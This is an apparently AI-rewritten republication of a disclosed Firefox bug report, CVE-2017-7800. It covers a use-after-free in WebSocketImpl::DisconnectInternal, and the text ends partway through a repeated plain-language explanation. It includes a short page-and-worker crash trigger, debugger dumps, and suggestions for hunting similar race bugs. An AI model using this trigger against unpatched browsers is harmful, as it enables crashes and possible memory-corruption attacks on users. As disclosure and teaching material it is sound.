Skip to content
Memory corruption Disclosed report Advanced CVE-2017-7800

WebSocket - Use After Free in WebSocketImpl::DisconnectInternal()

A use-after-free in Firefox's WebSocket implementation occurs when a worker is terminated and the page reloads while a WebSocket connection is being established. An attacker could potentially exploit this to crash the browser or execute arbitrary code.

Looben Yang Follow

Originally disclosed on Mozilla

Critical View original
  • Fixed in 23 days
  • Paid in 29 days
  • Disclosed after 23 days

Created attachment 8878874 UAF_DisconnectInternal_Repro.js

Reproduction test case (whole server code in attached file UAF_DisconnectInternal_Repro.js):

Main page code:
	<script>
	var worker0 = new Worker("worker0.js");
	setTimeout(function(){ worker0.terminate();}, 200);
	setTimeout(function(){location.reload()},200);
	</script>
Worker code:
	new WebSocket("ws://localhost:12345/", "wsm1-protocol");;

Steps to reproduce: 1. Run server side script UAF_DisconnectInternal_Repro.js with Node.js (node UAF_DisconnectInternal_Repro.js). 2. Enter http://localhost:12345 in Firefox browser.

Firefox version: 54.0 (32-bit) OS: Windows 10

Stack trace:

(16a8.30b4): Access violation - code c0000005 (!!! second chance !!!)
eax=00000000 ebx=18d77028 ecx=18d77028 edx=e5e5e5e5 esi=67d4b030 edi=18d76f80
eip=65f98e0c esp=0117f1cc ebp=0117f1cc iopl=0         nv up ei ng nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010282
xul!mozilla::RefPtrTraits<mozilla::EditTransactionBase>::Release [inlined in xul!RefPtr<mozilla::EditTransactionBase>::assign_assuming_AddRef+0x12]:
65f98e0c 8b02            mov     eax,dword ptr [edx]  ds:002b:e5e5e5e5=????????
0:000> !analyze -v
*******************************************************************************
*                                                                             *
*                        Exception Analysis                                   *
*                                                                             *
*******************************************************************************

FAULTING_IP: 
xul!RefPtr<mozilla::EditTransactionBase>::assign_assuming_AddRef+12 [c:\builds\moz2_slave\m-rel-w32-00000000000000000000\build\src\obj-firefox\dist\include\mozilla\refptr.h @ 65]
65f98e0c 8b02            mov     eax,dword ptr [edx]

EXCEPTION_RECORD:  (.exr -1)
ExceptionAddress: 65f98e0c (xul!mozilla::RefPtrTraits<mozilla::EditTransactionBase>::Release)
   ExceptionCode: c0000005 (Access violation)
  ExceptionFlags: 00000000
NumberParameters: 2
   Parameter[0]: 00000000
   Parameter[1]: e5e5e5e5
Attempt to read from address e5e5e5e5

FAULTING_THREAD:  000030b4

PROCESS_NAME:  firefox.exe

ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.

EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.

EXCEPTION_CODE_STR:  c0000005

EXCEPTION_PARAMETER1:  00000000

EXCEPTION_PARAMETER2:  e5e5e5e5

FOLLOWUP_IP: 
xul!RefPtr<mozilla::EditTransactionBase>::assign_assuming_AddRef+12 [c:\builds\moz2_slave\m-rel-w32-00000000000000000000\build\src\obj-firefox\dist\include\mozilla\refptr.h @ 65]
65f98e0c 8b02            mov     eax,dword ptr [edx]

READ_ADDRESS:  e5e5e5e5 

WATSON_BKT_PROCSTAMP:  59399e7c

WATSON_BKT_PROCVER:  54.0.0.6368

PROCESS_VER_PRODUCT:  Firefox

WATSON_BKT_MODULE:  xul.dll

WATSON_BKT_MODSTAMP:  5939a290

WATSON_BKT_MODOFFSET:  88e0c

WATSON_BKT_MODVER:  54.0.0.6368

MODULE_VER_PRODUCT:  Firefox

BUILD_VERSION_STRING:  10.0.15063.296 (WinBuild.160101.0800)

MODLIST_WITH_TSCHKSUM_HASH:  6677a630c80a09dae24ad5f75ef967a3823bc5ff

MODLIST_SHA1_HASH:  d474cec995c2004a6ffece945bcd0a3e7837f453

NTGLOBALFLAG:  70

PROCESS_BAM_CURRENT_THROTTLED: 0

PROCESS_BAM_PREVIOUS_THROTTLED: 0

APPLICATION_VERIFIER_FLAGS:  0

PRODUCT_TYPE:  1

SUITE_MASK:  784

DUMP_TYPE:  fe

ANALYSIS_SESSION_TIME:  06-18-2017 22:32:19.0170

ANALYSIS_VERSION: 10.0.15063.400 x86fre

THREAD_ATTRIBUTES: 
OS_LOCALE:  ENA

PROBLEM_CLASSES: 

	ID:     [0n292]
	Type:   [@ACCESS_VIOLATION]
	Class:  Addendum
	Scope:  BUCKET_ID
	Name:   Omit
	Data:   Omit
	PID:    [Unspecified]
	TID:    [0x30b4]
	Frame:  [0] : xul!RefPtr<mozilla::EditTransactionBase>::assign_assuming_AddRef

	ID:     [0n264]
	Type:   [INVALID_POINTER_READ]
	Class:  Primary
	Scope:  DEFAULT_BUCKET_ID (Failure Bucket ID prefix)
			BUCKET_ID
	Name:   Add
	Data:   Omit
	PID:    [Unspecified]
	TID:    [0x30b4]
	Frame:  [0] : xul!RefPtr<mozilla::EditTransactionBase>::assign_assuming_AddRef

	ID:     [0n94]
	Type:   [FILL_PATTERN]
	Class:  Addendum
	Scope:  DEFAULT_BUCKET_ID (Failure Bucket ID prefix)
			BUCKET_ID
	Name:   Add
	Data:   Add
			String: [e5e5e5e5]
	PID:    [0x16a8]
	TID:    [0x30b4]
	Frame:  [0] : xul!RefPtr<mozilla::EditTransactionBase>::assign_assuming_AddRef

BUGCHECK_STR:  APPLICATION_FAULT_INVALID_POINTER_READ_FILL_PATTERN_e5e5e5e5

DEFAULT_BUCKET_ID:  INVALID_POINTER_READ_FILL_PATTERN_e5e5e5e5

PRIMARY_PROBLEM_CLASS:  APPLICATION_FAULT

LAST_CONTROL_TRANSFER:  from 66cb658b to 65f98e0c

STACK_TEXT:  
0117f1cc 66cb658b 00000000 00000000 16daeee0 xul!RefPtr<mozilla::EditTransactionBase>::assign_assuming_AddRef+0x12
0117f1fc 66cba1d4 6620c149 15ac8ec0 15ac8ef4 xul!mozilla::dom::WebSocketImpl::DisconnectInternal+0x4b
0117f200 6620c149 15ac8ec0 15ac8ef4 00000000 xul!mozilla::dom::`anonymous namespace'::DisconnectInternalRunnable::MainThreadRun+0x8
0117f214 6620c109 16daeee0 13981380 139813b4 xul!mozilla::dom::workers::WorkerMainThreadRunnable::Run+0x15
0117f23c 6620c08d 0117f26c 6620c109 180ec050 xul!mozilla::ThrottledEventQueue::Inner::ExecuteRunnable+0x76
0117f244 6620c109 180ec050 0b1f5864 180ec060 xul!mozilla::ThrottledEventQueue::Inner::Executor::Run+0xe
0117f26c 6620c08d 0117f2e4 6601f80e 180ec060 xul!mozilla::ThrottledEventQueue::Inner::ExecuteRunnable+0x76
0117f274 6601f80e 180ec060 03127170 03127160 xul!mozilla::ThrottledEventQueue::Inner::Executor::Run+0xe
0117f2e4 66020701 03104200 00000000 0117f317 xul!nsThread::ProcessNextEvent+0x213
0117f318 66068ea0 03125060 60944f31 0b1f5860 xul!mozilla::ipc::MessagePump::Run+0x72
0117f350 66068e6f 03104200 00000001 0b1f5800 xul!MessageLoop::RunHandler+0x20
0117f370 662d19d8 0b1f7640 00000000 0117f390 xul!MessageLoop::Run+0x19
0117f380 662d1767 0b1f5860 0b1f7640 0117f3a4 xul!nsBaseAppShell::Run+0x34
0117f390 662d171c 0b1f5860 0117f6f5 0c30a440 xul!nsAppShell::Run+0x26
0117f3a4 66505f9e 0b1f7640 0117f5f8 0117f610 xul!nsAppStartup::Run+0x22
0117f598 665069d0 03103050 0117f740 00000001 xul!XREMain::XRE_mainRun+0xa92
0117f5d4 6658b805 00000000 0117f610 0017f740 xul!XREMain::XRE_main+0x37b
0117f700 6658b7c7 0117f740 0117fa84 01321bdd xul!XRE_main+0x39
0117f70c 01321bdd 00000001 03103050 0117f740 xul!mozilla::BootstrapImpl::XRE_main+0x11
0117fa84 01325b7f 00000001 fe615d08 01718b50 firefox!wmain+0x65d
0117facc 73b48744 00ee0000 73b48720 7b9e292a firefox!__scrt_common_main_seh+0xf9
0117fae0 770a587d 00ee0000 7f378ec4 00000000 KERNEL32!BaseThreadInitThunk+0x24
0117fb28 770a584d ffffffff 770c6344 00000000 ntdll!__RtlUserThreadStart+0x2f
0117fb38 00000000 01325bf5 00ee0000 00000000 ntdll!_RtlUserThreadStart+0x1b

THREAD_SHA1_HASH_MOD_FUNC:  c69ed9af77e0e3ae8946fbf3e674aa21f178e624

THREAD_SHA1_HASH_MOD_FUNC_OFFSET:  b2a6a3a18b4b25d90fe64452661d0eb068d1731a

THREAD_SHA1_HASH_MOD:  1e517827cf137402b6881f2d4a04f0647425c5be

FAULT_INSTR_CODE:  ff52028b

FAULTING_SOURCE_LINE:  c:\builds\moz2_slave\m-rel-w32-00000000000000000000\build\src\obj-firefox\dist\include\mozilla\refptr.h

FAULTING_SOURCE_FILE:  c:\builds\moz2_slave\m-rel-w32-00000000000000000000\build\src\obj-firefox\dist\include\mozilla\refptr.h

FAULTING_SOURCE_LINE_NUMBER:  65

SYMBOL_STACK_INDEX:  0

SYMBOL_NAME:  xul!RefPtr<mozilla::EditTransactionBase>::assign_assuming_AddRef+12

FOLLOWUP_NAME:  MachineOwner

MODULE_NAME: xul

IMAGE_NAME:  xul.dll

DEBUG_FLR_IMAGE_TIMESTAMP:  5939a290

STACK_COMMAND:  ~0s ; kb

FAILURE_BUCKET_ID:  INVALID_POINTER_READ_FILL_PATTERN_e5e5e5e5_c0000005_xul.dll!RefPtr_mozilla::EditTransactionBase_::assign_assuming_AddRef

BUCKET_ID:  APPLICATION_FAULT_INVALID_POINTER_READ_FILL_PATTERN_e5e5e5e5_xul!RefPtr_mozilla::EditTransactionBase_::assign_assuming_AddRef+12

FAILURE_EXCEPTION_CODE:  c0000005

FAILURE_IMAGE_NAME:  xul.dll

BUCKET_ID_IMAGE_STR:  xul.dll

FAILURE_MODULE_NAME:  xul

BUCKET_ID_MODULE_STR:  xul

FAILURE_FUNCTION_NAME:  RefPtr_mozilla::EditTransactionBase_::assign_assuming_AddRef

BUCKET_ID_FUNCTION_STR:  RefPtr_mozilla::EditTransactionBase_::assign_assuming_AddRef

BUCKET_ID_OFFSET:  12

BUCKET_ID_MODTIMEDATESTAMP:  5939a290

BUCKET_ID_MODCHECKSUM:  31298a4

BUCKET_ID_MODVER_STR:  54.0.0.6368

BUCKET_ID_PREFIX_STR:  APPLICATION_FAULT_INVALID_POINTER_READ_FILL_PATTERN_e5e5e5e5_

FAILURE_PROBLEM_CLASS:  APPLICATION_FAULT

FAILURE_SYMBOL_NAME:  xul.dll!RefPtr_mozilla::EditTransactionBase_::assign_assuming_AddRef

WATSON_STAGEONE_URL:  http://watson.microsoft.com/StageOne/firefox.exe/54.0.0.6368/59399e7c/xul.dll/54.0.0.6368/5939a290/c0000005/00088e0c.htm?Retriage=1

TARGET_TIME:  2017-06-18T10:33:04.000Z

OSBUILD:  15063

OSSERVICEPACK:  296

SERVICEPACK_NUMBER: 0

OS_REVISION: 0

OSPLATFORM_TYPE:  x86

OSNAME:  Windows 10

OSEDITION:  Windows 10 WinNt SingleUserTS Personal

USER_LCID:  0

OSBUILD_TIMESTAMP:  unknown_date

BUILDDATESTAMP_STR:  160101.0800

BUILDLAB_STR:  WinBuild

BUILDOSVER_STR:  10.0.15063.296

ANALYSIS_SESSION_ELAPSED_TIME:  104d4

ANALYSIS_SOURCE:  UM

FAILURE_ID_HASH_STRING:  um:invalid_pointer_read_fill_pattern_e5e5e5e5_c0000005_xul.dll!refptr_mozilla::edittransactionbase_::assign_assuming_addref

FAILURE_ID_HASH:  {6bdf5e90-d575-dd3a-0b53-74c46bf9fa98}

Followup:     MachineOwner
---------

Variable shows the WebSocketImpl object had been freed:

0:000> dt this
Local var @ edi Type mozilla::dom::WebSocketImpl*
   +0x000 __VFN_table : 0xe5e5e5e5 
   +0x004 __VFN_table : 0xe5e5e5e5 
   +0x008 __VFN_table : 0xe5e5e5e5 
   +0x00c __VFN_table : 0xe5e5e5e5 
   +0x010 mProxy           : 0xe5e5e5e5 nsWeakReference
   +0x014 __VFN_table : 0xe5e5e5e5 
   +0x018 __VFN_table : 0xe5e5e5e5 
   +0x01c mRefCnt          : mozilla::ThreadSafeAutoRefCnt
   +0x020 mWebSocket       : RefPtr<mozilla::dom::WebSocket>
   +0x024 mChannel         : nsCOMPtr<nsIWebSocketChannel>
   +0x028 mIsServerSide    : ffffffffffffffe5
   +0x029 mSecure          : ffffffffffffffe5
   +0x02a mOnCloseScheduled : ffffffffffffffe5
   +0x02b mFailed          : ffffffffffffffe5
   +0x02c mDisconnectingOrDisconnected : ffffffffffffffe5
   +0x02d mCloseEventWasClean : ffffffffffffffe5
   +0x030 mCloseEventReason : nsString
   +0x03c mCloseEventCode  : 0xe5e5
   +0x040 mAsciiHost       : nsCString
   +0x04c mPort            : 0xe5e5e5e5
   +0x050 mResource        : nsCString
   +0x05c mUTF16Origin     : nsString
   +0x068 mURI             : nsCString
   +0x074 mRequestedProtocolList : nsCString
   +0x080 mOriginDocument  : nsCOMPtr<nsIWeakReference>
   +0x084 mScriptFile      : nsCString
   +0x090 mScriptLine      : 0xe5e5e5e5
   +0x094 mScriptColumn    : 0xe5e5e5e5
   +0x098 mInnerWindowID   : 0xe5e5e5e5`e5e5e5e5
   +0x0a0 mWorkerPrivate   : 0xe5e5e5e5 mozilla::dom::workers::WorkerPrivate
   +0x0a4 mWorkerHolder    : nsAutoPtr<mozilla::dom::workers::WorkerHolder>
   +0x0a8 mWeakLoadGroup   : nsCOMPtr<nsIWeakReference>
   +0x0ac mIsMainThread    : ffffffffffffffe5
   +0x0b0 mMutex           : mozilla::Mutex
   +0x0b4 mWorkerShuttingDown : ffffffffffffffe5
   +0x0b8 mService         : RefPtr<mozilla::net::WebSocketEventService>

The original report as published on Mozilla's Bugzilla, by Looben Yang. Images and videos are our own copies; raw HTML is shown as text. View it on Mozilla's Bugzilla.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 5 min read.

Context

This report describes a use-after-free in Firefox's WebSocket implementation, specifically in mozilla::dom::WebSocketImpl::DisconnectInternal(). The affected component is listed as Core: DOM: Core & HTML. The bug was reported to Mozilla by Looben Yang and disclosed on 11 July 2017 with a severity of critical.

A WebSocket connection in Firefox is backed by a WebSocketImpl object. When the connection is torn down, the implementation schedules a disconnect runnable that runs on the main thread and releases the resources held by the object. The report shows that this teardown can run against a WebSocketImpl that has already been freed, and that the freed memory is then dereferenced.

Setup

The researcher tested with:

  • Firefox 54.0 (32-bit)
  • Windows 10
  • Node.js to run the server-side reproduction script

The reproduction is a single attached file, UAF_DisconnectInternal_Repro.js, which contains the whole server code. The main page and the worker script are embedded in that file.

Finding it

The crash is an access violation in xul.dll at RefPtr<mozilla::EditTransactionBase>::assign_assuming_AddRef+0x12, reading from address e5e5e5e5. That fill pattern is the signal: the memory being read has already been freed and overwritten with the allocator's fill byte, so the pointer the code is following is stale.

The stack trace shows the path that reaches the fault:

Text
0117f1cc 66cb658b 00000000 00000000 16daeee0 xul!RefPtr<mozilla::EditTransactionBase>::assign_assuming_AddRef+0x12
0117f1fc 66cba1d4 6620c149 15ac8ec0 15ac8ef4 xul!mozilla::dom::WebSocketImpl::DisconnectInternal+0x4b
0117f200 6620c149 15ac8ec0 15ac8ef4 00000000 xul!mozilla::dom::`anonymous namespace'::DisconnectInternalRunnable::MainThreadRun+0x8
0117f214 6620c109 16daeee0 13981380 139813b4 xul!mozilla::dom::workers::WorkerMainThreadRunnable::Run+0x15
0117f23c 6620c08d 0117f26c 6620c109 180ec050 xul!mozilla::ThrottledEventQueue::Inner::ExecuteRunnable+0x76
0117f244 6620c109 180ec050 0b1f5864 180ec060 xul!mozilla::ThrottledEventQueue::Inner::Executor::Run+0xe
0117f26c 6620c08d 0117f2e4 6601f80e 180ec060 xul!mozilla::ThrottledEventQueue::Inner::ExecuteRunnable+0x76
0117f274 6601f80e 180ec060 03127170 03127160 xul!mozilla::ThrottledEventQueue::Inner::Executor::Run+0xe
0117f2e4 66020701 03104200 00000000 0117f317 xul!nsThread::ProcessNextEvent+0x213

The chain is clear: a DisconnectInternalRunnable is queued from worker code through WorkerMainThreadRunnable::Run, executed from a throttled event queue, and its MainThreadRun calls WebSocketImpl::DisconnectInternal. Inside that call the object is dereferenced and the process faults.

The researcher then inspected the this pointer of the WebSocketImpl at the point of the crash:

Text
0:000> dt this
Local var @ edi Type mozilla::dom::WebSocketImpl*
   +0x000 __VFN_table : 0xe5e5e5e5
   +0x004 __VFN_table : 0xe5e5e5e5
   +0x008 __VFN_table : 0xe5e5e5e5
   +0x00c __VFN_table : 0xe5e5e5e5
   +0x010 mProxy           : 0xe5e5e5e5 nsWeakReference
   +0x014 __VFN_table : 0xe5e5e5e5
   +0x018 __VFN_table : 0xe5e5e5e5
   +0x01c mRefCnt          : mozilla::ThreadSafeAutoRefCnt
   +0x020 mWebSocket       : RefPtr<mozilla::dom::WebSocket>
   +0x024 mChannel         : nsCOMPtr<nsIWebSocketChannel>
   +0x028 mIsServerSide    : ffffffffffffffe5
   +0x029 mSecure          : ffffffffffffffe5
   +0x02a mOnCloseScheduled : ffffffffffffffe5
   +0x02b mFailed          : ffffffffffffffe5
   +0x02c mDisconnectingOrDisconnected : ffffffffffffffe5
   +0x02d mCloseEventWasClean : ffffffffffffffe5
   +0x030 mCloseEventReason : nsString
   +0x03c mCloseEventCode  : 0xe5e5
   +0x040 mAsciiHost       : nsCString
   +0x04c mPort            : 0xe5e5e5e5
   +0x050 mResource        : nsCString
   +0x05c mUTF16Origin     : nsString
   +0x068 mURI             : nsCString
   +0x074 mRequestedProtocolList : nsCString
   +0x080 mOriginDocument  : nsCOMPtr<nsIWeakReference>
   +0x084 mScriptFile      : nsCString
   +0x090 mScriptLine      : 0xe5e5e5e5
   +0x094 mScriptColumn    : 0xe5e5e5e5
   +0x098 mInnerWindowID   : 0xe5e5e5e5`e5e5e5e5
   +0x0a0 mWorkerPrivate   : 0xe5e5e5e5 mozilla::dom::workers::WorkerPrivate
   +0x0a4 mWorkerHolder    : nsAutoPtr<mozilla::dom::workers::WorkerHolder>
   +0x0a8 mWeakLoadGroup   : nsCOMPtr<nsIWeakReference>
   +0x0ac mIsMainThread    : ffffffffffffffe5
   +0x0b0 mMutex           : mozilla::Mutex
   +0x0b4 mWorkerShuttingDown : ffffffffffffffe5
   +0x0b8 mService         : RefPtr<mozilla::net::WebSocketEventService>

Every field is filled with e5, including the vtable pointers, the reference count, the channel, the worker private pointer and the service pointer. The object the disconnect code is operating on no longer exists.

Exploitation

Step 1: start the server

The attached script contains the full server. It is run with Node.js:

Bash
node UAF_DisconnectInternal_Repro.js

The page is loaded from http://localhost:12345.

Step 2: load the page

Text
http://localhost:12345

The main page code is:

HTML
<script>
var worker0 = new Worker("worker0.js");
setTimeout(function(){ worker0.terminate();}, 200);
setTimeout(function(){location.reload()},200);
</script>

The page starts a worker, then after 200 ms terminates the worker and reloads the page.

Step 3: the worker opens a WebSocket

The worker code is:

JavaScript
new WebSocket("ws://localhost:12345/", "wsm1-protocol");;

The worker opens a WebSocket to the local server, requesting the subprotocol wsm1-protocol. The connection is created inside the worker.

Step 4: the race

The stack trace shows DisconnectInternal running on a WebSocketImpl that had already been freed. When the runnable executes, DisconnectInternal runs on the freed object and the process crashes with an access violation reading e5e5e5e5.

Root cause

The report does not explain why the object was freed before the runnable ran. The worker is terminated and the page reloads, the object is freed, and the queued runnable then calls DisconnectInternal on the stale pointer. The dt this output confirms the object had been freed and its memory filled with e5 before the call.

Why the existing lifetime handling did not prevent this is not spelled out in the report. Likely the runnable was not holding a strong reference, or the reference was released as part of worker shutdown before the main-thread runnable ran.

Impact

The crash is a memory-safety violation in the browser process, triggered by a page that creates a worker, opens a WebSocket from it, and then terminates the worker while reloading. The report demonstrates a crash on Firefox 54.0 (32-bit) on Windows 10. Whether the freed object can be shaped into controlled code execution is not shown in the report; the report documents the use-after-free and the crash.

Fix

The report does not describe the fix that was applied.

  1. Vary the timing between worker0.terminate() and location.reload(). A positive result is the same access violation in WebSocketImpl::DisconnectInternal with the e5e5e5e5 read address.
  2. Open the WebSocket from the main page instead of a worker, then navigate away while the connection is being torn down. A positive result is a crash in the same disconnect path.
  3. Use a subprotocol other than wsm1-protocol, or none. A positive result is the same crash, showing the protocol string is not part of the trigger.
  4. Terminate the worker without reloading the page. A positive result is the same crash, showing the reload is not strictly required.
  5. Repeat the sequence in a loop to see whether the race becomes more reliable. A positive result is a higher crash rate with the same stack.

This kind of bug hides in teardown paths where work is queued from one thread (here a worker) to another (the main thread) and the queued runnable outlives the object it operates on. During recon, look for features that combine workers, navigation or reload, and asynchronous cleanup: WebSocket, fetch, IndexedDB and similar APIs. The signal is a crash whose faulting address is a fill pattern such as e5e5e5e5, which indicates a freed object rather than a wild pointer. The researcher showed impact by producing a minimal, self-contained reproduction script and a debugger dump proving the object had been freed, which is what makes a use-after-free report actionable for a browser vendor.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 13 min read.

What happened, in plain words

A security researcher found a way to make the Firefox browser crash by combining three ordinary things: a background script (a worker), a WebSocket connection, and a page reload. Firefox frees a piece of memory that it is still using, then tries to read from it. That kind of mistake is called a use-after-free, and it is dangerous because the memory could, in principle, be filled with something an attacker controls.

The bug was reported to Mozilla by Looben Yang and disclosed on 11 July 2017. Mozilla rated it critical. The affected area is listed as Core: DOM: Core & HTML, the part of Firefox that handles the page's document object model.

To follow the rest of this article you only need to know what a browser is and what a web page is. Every other term is explained where it first appears.

The pieces involved

Before the steps, here are the concepts the report relies on.

  • WebSocket: a way for a web page to keep an open, two-way conversation with a server, instead of the page asking and the server answering one request at a time. Think of it as a phone call that stays connected, rather than a series of letters.
  • Worker: a background script that a page can start so that heavy work happens off the main page. Think of hiring an assistant who works in another room while you keep talking to visitors. The page and the worker can be shut down separately, which is exactly where this bug lives.
  • WebSocketImpl: the internal Firefox object that represents one WebSocket connection. It holds the connection's details: the address, the port, the requested protocol, the reference count (how many parts of the browser are still using it), and so on.
  • Use-after-free: a memory-safety bug where a program releases a block of memory (frees it) and then keeps using it as if it were still valid. Compare it to checking out of a hotel room, handing back the key, and then walking back in later to find someone else's belongings there. Reading the old room is the "use", and the checkout is the "free".
  • Reference count: a tally of how many parts of the program are currently relying on an object. When the tally drops to zero, the object is freed. If something forgets to add itself to the tally, the object can be freed while that something still plans to use it.
  • Runnable: a small unit of work that is placed in a queue and executed later, usually on a particular thread. Think of a note left on someone's desk: the note is written now, but acted on when that person next looks at the desk.
  • Main thread: the thread (a single line of execution inside the program) that handles the browser's user interface and most page activity. Work from a worker often has to be handed over to the main thread to be carried out safely.
  • Access violation: the operating system's way of saying that a program tried to read or write memory it is not allowed to touch. It usually ends the program.
  • Fill pattern: when a memory allocator frees a block, it may overwrite it with a repeated byte so that stale use is easy to spot. In this report the byte is e5, so freed memory shows up as e5e5e5e5.
  • Stack trace: a list of the function calls that were active at the moment of a crash, from the innermost call outwards. It is like the list of rooms you walked through to reach the one where the accident happened.
  • Debugger: a tool that lets a developer pause a running program and inspect its memory and variables. The report uses a debugger command, dt this, to print the fields of the object the crashing code was working on.

The setup

The researcher tested with:

  • Firefox 54.0 (32-bit)
  • Windows 10
  • Node.js to run the server-side reproduction script

Node.js is a program that runs JavaScript outside a browser, so it can act as a small web server on the researcher's own machine. The whole reproduction is a single attached file, UAF_DisconnectInternal_Repro.js, which contains the server code, the main page and the worker script.

Finding it

The crash is an access violation inside xul.dll, one of Firefox's core program files, in a function called RefPtr<mozilla::EditTransactionBase>::assign_assuming_AddRef+0x12. The code was trying to read from the address e5e5e5e5. That address is the giveaway: it is the allocator's fill byte repeated, which means the memory had already been freed and overwritten. The pointer the code was following was stale, pointing at a room that had already been checked out.

The stack trace shows the path that reaches the fault:

Text
0117f1cc 66cb658b 00000000 00000000 16daeee0 xul!RefPtr<mozilla::EditTransactionBase>::assign_assuming_AddRef+0x12
0117f1fc 66cba1d4 6620c149 15ac8ec0 15ac8ef4 xul!mozilla::dom::WebSocketImpl::DisconnectInternal+0x4b
0117f200 6620c149 15ac8ec0 15ac8ef4 00000000 xul!mozilla::dom::`anonymous namespace'::DisconnectInternalRunnable::MainThreadRun+0x8
0117f214 6620c109 16daeee0 13981380 139813b4 xul!mozilla::dom::workers::WorkerMainThreadRunnable::Run+0x15
0117f23c 6620c08d 0117f26c 6620c109 180ec050 xul!mozilla::ThrottledEventQueue::Inner::ExecuteRunnable+0x76
0117f244 6620c109 180ec050 0b1f5864 180ec060 xul!mozilla::ThrottledEventQueue::Inner::Executor::Run+0xe
0117f26c 6620c08d 0117f2e4 6601f80e 180ec060 xul!mozilla::ThrottledEventQueue::Inner::ExecuteRunnable+0x76
0117f274 6601f80e 180ec060 03127170 03127160 xul!mozilla::ThrottledEventQueue::Inner::Executor::Run+0xe
0117f2e4 66020701 03104200 00000000 0117f317 xul!nsThread::ProcessNextEvent+0x213

Each line is one step in the chain of calls, read from the innermost (top) to the outermost (bottom). The top line is where the crash happened. The second line is WebSocketImpl::DisconnectInternal, the function that was supposed to shut the WebSocket connection down. The third line is DisconnectInternalRunnable::MainThreadRun, the queued note being acted on. The fourth line, WorkerMainThreadRunnable::Run, shows that this note came from worker code and was handed to the main thread. The next lines show the note travelling through a throttled event queue (a queue that limits how fast work is processed) and finally being picked up by the thread's event loop. In plain words: a worker asked the main thread to disconnect a WebSocket, the request sat in a queue, and by the time it ran the WebSocket object was gone.

The researcher then inspected the this pointer of the WebSocketImpl at the point of the crash. In a debugger, this means "the object the current function is working on". The command dt this prints that object's fields:

Text
0:000> dt this
Local var @ edi Type mozilla::dom::WebSocketImpl*
   +0x000 __VFN_table : 0xe5e5e5e5
   +0x004 __VFN_table : 0xe5e5e5e5
   +0x008 __VFN_table : 0xe5e5e5e5
   +0x00c __VFN_table : 0xe5e5e5e5
   +0x010 mProxy           : 0xe5e5e5e5 nsWeakReference
   +0x014 __VFN_table : 0xe5e5e5e5
   +0x018 __VFN_table : 0xe5e5e5e5
   +0x01c mRefCnt          : mozilla::ThreadSafeAutoRefCnt
   +0x020 mWebSocket       : RefPtr<mozilla::dom::WebSocket>
   +0x024 mChannel         : nsCOMPtr<nsIWebSocketChannel>
   +0x028 mIsServerSide    : ffffffffffffffe5
   +0x029 mSecure          : ffffffffffffffe5
   +0x02a mOnCloseScheduled : ffffffffffffffe5
   +0x02b mFailed          : ffffffffffffffe5
   +0x02c mDisconnectingOrDisconnected : ffffffffffffffe5
   +0x02d mCloseEventWasClean : ffffffffffffffe5
   +0x030 mCloseEventReason : nsString
   +0x03c mCloseEventCode  : 0xe5e5
   +0x040 mAsciiHost       : nsCString
   +0x04c mPort            : 0xe5e5e5e5
   +0x050 mResource        : nsCString
   +0x05c mUTF16Origin     : nsString
   +0x068 mURI             : nsCString
   +0x074 mRequestedProtocolList : nsCString
   +0x080 mOriginDocument  : nsCOMPtr<nsIWeakReference>
   +0x084 mScriptFile      : nsCString
   +0x090 mScriptLine      : 0xe5e5e5e5
   +0x094 mScriptColumn    : 0xe5e5e5e5
   +0x098 mInnerWindowID   : 0xe5e5e5e5`e5e5e5e5
   +0x0a0 mWorkerPrivate   : 0xe5e5e5e5 mozilla::dom::workers::WorkerPrivate
   +0x0a4 mWorkerHolder    : nsAutoPtr<mozilla::dom::workers::WorkerHolder>
   +0x0a8 mWeakLoadGroup   : nsCOMPtr<nsIWeakReference>
   +0x0ac mIsMainThread    : ffffffffffffffe5
   +0x0b0 mMutex           : mozilla::Mutex
   +0x0b4 mWorkerShuttingDown : ffffffffffffffe5
   +0x0b8 mService         : RefPtr<mozilla::net::WebSocketEventService>

Each line is one field of the object, with its offset in memory on the left and its value on the right. The __VFN_table entries are the object's virtual function table, the internal list that tells the program which code belongs to this object. The mRefCnt field is the reference count. The mChannel field is the actual network connection. The mWorkerPrivate field points back to the worker that created the connection. Every one of these fields is filled with e5, including the function table pointers, the reference count, the channel, the worker pointer and the service pointer. That is the proof: the object the disconnect code is operating on no longer exists. It is a room that has been checked out and wiped.

Exploitation

Step 1: start the server

The attached script contains the full server. It is run with Node.js:

Bash
node UAF_DisconnectInternal_Repro.js

node is the Node.js program. The argument is the name of the script to run. The page is loaded from http://localhost:12345. A port is like a numbered door on your own computer; the browser will knock on door 12345 to reach this server.

Step 2: load the page

The researcher then opened this address in Firefox:

Text
http://localhost:12345

localhost means "this same computer", so the browser is talking to the Node.js server running on the same machine. The main page code is:

HTML
<script>
var worker0 = new Worker("worker0.js");
setTimeout(function(){ worker0.terminate();}, 200);
setTimeout(function(){location.reload()},200);
</script>

Line by line:

  1. <script> starts a block of JavaScript that the browser will run.
  2. var worker0 = new Worker("worker0.js"); starts a background worker using the file worker0.js and stores a handle to it in a variable called worker0.
  3. setTimeout(function(){ worker0.terminate();}, 200); asks the browser to run the given function after 200 milliseconds. That function shuts the worker down.
  4. setTimeout(function(){location.reload()},200); asks the browser to run a second function after the same 200 milliseconds. That function reloads the page.
  5. </script> ends the script block.

Both timers fire at the same delay, so the worker teardown and the page navigation race against each other. A race is when two things happen at almost the same moment and the outcome depends on which one wins. Both timers use the same 200 ms delay.

Step 3: the worker opens a WebSocket

The worker code is:

JavaScript
new WebSocket("ws://localhost:12345/", "wsm1-protocol");;

Line by line:

  1. new WebSocket(...) creates a new WebSocket connection object.
  2. "ws://localhost:12345/" is the address to connect to. ws:// is the WebSocket scheme, the equivalent of http:// for this kind of connection. localhost:12345 is the same local server started in step 1.
  3. "wsm1-protocol" is the requested subprotocol, a name the client and server use to agree on how they will talk.
  4. The extra semicolon at the end is harmless; it is just an empty statement.

The connection is created inside the worker. That is the important part: the worker owns the connection, but the actual disconnect work is handed to the main thread.

Step 4: the race

